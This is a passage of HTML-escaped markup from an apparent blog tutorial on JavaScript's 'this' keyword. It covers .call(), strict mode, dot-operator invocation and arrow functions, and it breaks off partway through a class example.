  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;this is &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fromPerson&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; says hi to &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;toName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And in a twist that I’m sure you all saw coming, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sayHi.call( null, me, &quot;Donna&quot; )&lt;/code&gt; will notify us that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;this is null&quot;&lt;/code&gt; and  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sayHi.call( &quot;abc&quot;, me, &quot;Donna&quot; )&lt;/code&gt; that &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;this is abc&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;I guess then we can rewrite our function&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sayHi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;toName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; says hi to &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;toName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;And call it with &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sayHi.call( me, &quot;Donna&quot; )&lt;/code&gt; and that works fine.&lt;/p&gt;

&lt;p&gt;So if the above is true, then I ask you - in what way is &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; different from any other parameter? The answer is that it s really not! It’s a parameter like the others, you simply do not get to give it a nice descriptive name.&lt;/p&gt;

&lt;p&gt;And if we only ever invoked our functions using &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.call()&lt;/code&gt; syntax that would be the end of the story, but we have the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sayHi()&lt;/code&gt; shorthand - so what exactly does it do?&lt;/p&gt;

&lt;h3 id=&quot;how-invocation-works&quot;&gt;How &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;invocation()&lt;/code&gt; works&lt;/h3&gt;

&lt;p&gt;Here are the rules on standard &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;invocation()&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;By default &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; will be the global object (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;window&lt;/code&gt; in the browser, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;global&lt;/code&gt; in node)&lt;/li&gt;
  &lt;li&gt;Unless you are running in strict mode (almost always a good idea) and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&apos;use strict&apos;&lt;/code&gt; is somewhere in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sayHi&lt;/code&gt;’s scope chain - then &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; will be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;undefined&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;So we have&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;sayHi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;me&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Donna&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// &quot; says hi to Donna&quot; (usually, window.name is an empty string)&lt;/span&gt;

&lt;span class=&quot;c1&quot;&gt;// but if you have somewhere in the context chain of sayHi&lt;/span&gt;
&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;use strict&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;sayHi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;me&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Donna&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// throw TypeError&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Ok, well that’s weird, but not all &lt;em&gt;that&lt;/em&gt; confusing. Is there more to the story? Why yes, yes there is!&lt;/p&gt;

&lt;p&gt;So anyone who’s worked with javascript objects knows about the dot operator &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo.bar&lt;/code&gt; gets the object in the variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo&lt;/code&gt; and then gets the value in it’s property &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;bar&lt;/code&gt;.&lt;/p&gt;

&lt;aside style=&quot;float: right; margin: 1em; width: 15em;&quot;&gt;
  I&apos;m beng a bit loose with my language here, it&apos;s not &lt;em&gt;the dot syntax itself that does this&lt;/em&gt;. Using &lt;code&gt;foo[&quot;doBar&quot;]()&lt;/code&gt; will have the exact same effect. It is the actual process of getting and invoking an object property all in one go that causes things to get funky.
&lt;/aside&gt;

&lt;p&gt;But it does a bit more than that when combined with invocation&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;foo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;doBar&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;doesn’t merely say&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;Get the object in variable &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo&lt;/code&gt;, get the value in property &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;doBar&lt;/code&gt;, then, assuming its a function, invoke it&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The dot operator actually &lt;em&gt;modifies the invocation to the right&lt;/em&gt; to say that the thing to the left of the dot operator is set as &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt;. So the above is the equivalent of &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;foo.doBar.call(foo)&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;Ok, this is getting more wild. Lets do some more examples.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;me&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;greet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sayHi&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;me&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;greet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Donna&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//&quot;George says hi to Donna&quot; (dot operator modifies invocation)&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;greet2&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;me&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;greet&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;greet2&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Donna&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//&quot; says hi to Donna&quot; (identical to sayHi(&quot;Donna&quot;). no dot and invocation, this is the global object)&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;you&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;na&quot;&gt;name&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Bob&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;me&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;greet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;call&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;you&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Donna&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;// &quot;Bob says hi to Donna&quot;&lt;/span&gt;

&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;callWithDonna&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;fn&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;nx&quot;&gt;fn&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Donna&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;callWithDonna&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sayHi&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//&quot; says hi to Donna&quot;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;callWithDonna&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;me&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;greet&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//&quot; says hi to Donna&quot; (no dot and invocation together - identical to the above)&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;callWithDonna&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;me&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;greet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;toName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;})&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//&quot;George says hi to Donna&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;aaaaaaalllllriiiight….I mean thats pretty crazy, but it kinda makes sense. Are there any more wrinkles?&lt;/p&gt;

&lt;p&gt;Oh you &lt;strong&gt;know&lt;/strong&gt; that there are.&lt;/p&gt;

&lt;h2 id=&quot;talking-arrow-functions&quot;&gt;Talking arrow functions&lt;/h2&gt;

&lt;p&gt;Now I’ll say this: arrow functions are a great addition to the language. But the above situation, combined with common misinformation about how they work has not made things any easier.&lt;/p&gt;

&lt;p&gt;So an arrow function is just like a regular function, except that it &lt;em&gt;does not have a secret &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; variable&lt;/em&gt; (or secret &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;arguments&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;super&lt;/code&gt;, or &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new.target&lt;/code&gt; variables, but that’s outside the scope of this article).&lt;/p&gt;

&lt;p&gt;But hold on, you say, you’ve definitely used &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; inside arrow functions! Isn’t there something about arrows giving &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; lexical scope?&lt;/p&gt;

&lt;p&gt;No, no there is not - people don’t know what they are talking about if they tell you that. &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; has always had lexical scope. Its not function scope, and its not dynamic scope, what on earth else would it be?&lt;/p&gt;

&lt;p&gt;Instead, the rules on all variables named &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; in an arrow function are….well..pretty much the same as the rules on all other variables.&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sayHi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;toName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
   &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;greeting&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;hi&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

   &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;greet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
     &lt;span class=&quot;nx&quot;&gt;console&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;log&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;name&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; says &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;greeting&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt; to &lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;toName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
   &lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;

   &lt;span class=&quot;nx&quot;&gt;greet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;me&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;greet&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;sayHi&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;me&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;greet&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Donna&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt; &lt;span class=&quot;c1&quot;&gt;//&quot;George says hi to Donna&quot;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;So what happens when the above arrow function references &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt;? Well what happens when it references &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;greeting&lt;/code&gt;? Neither exist in the scope of the arrow function, so it looks up a scope to the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;sayHi&lt;/code&gt; function which has both! So &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; becomes the object in &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;me&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this.name&lt;/code&gt; becomes &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;&quot;George&quot;&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;So what about &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;.call()&lt;/code&gt; do arrow functions work with it? They do indeed! But since arrow functions don’t have a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;this&lt;/code&gt; keyword, the first argument in is summarily ignored.&lt;/p&gt;

&lt;p&gt;Ok, well…ugh…sure…fine. I guess. So what are some effects of all of….this….&lt;/p&gt;

&lt;h1 id=&quot;a-look-at-binding-in-classes&quot;&gt;A look at binding in classes&lt;/h1&gt;

&lt;p&gt;Now I’m not going to get into all the rules on classes, constructors, and the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;new&lt;/code&gt; keyword here. But lets take what we learned above and how it affects some code you might commonly see.&lt;/p&gt;

&lt;p&gt;Well lets say we have a class containing some sort of a “component” structure&lt;/p&gt;

&lt;div class=&quot;language-js highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;kd&quot;&gt;class&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;App&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;kd&quot;&gt;constructor&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;props&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;nodeType&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;People list&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;names&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;George&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Bob&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Donna&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Erica&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;];&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

  &lt;span class=&quot;nx&quot;&gt;render&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;el&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;kd&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ul&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;createElement&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;ul&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&apos;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
    &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;names&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;map&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;_renderListItemName&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;forEach&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&amp;gt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ul&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;appendChild&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;li&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

    &lt;span class=&quot;nx&quot;&gt;el&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;s2&quot;&gt;``&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
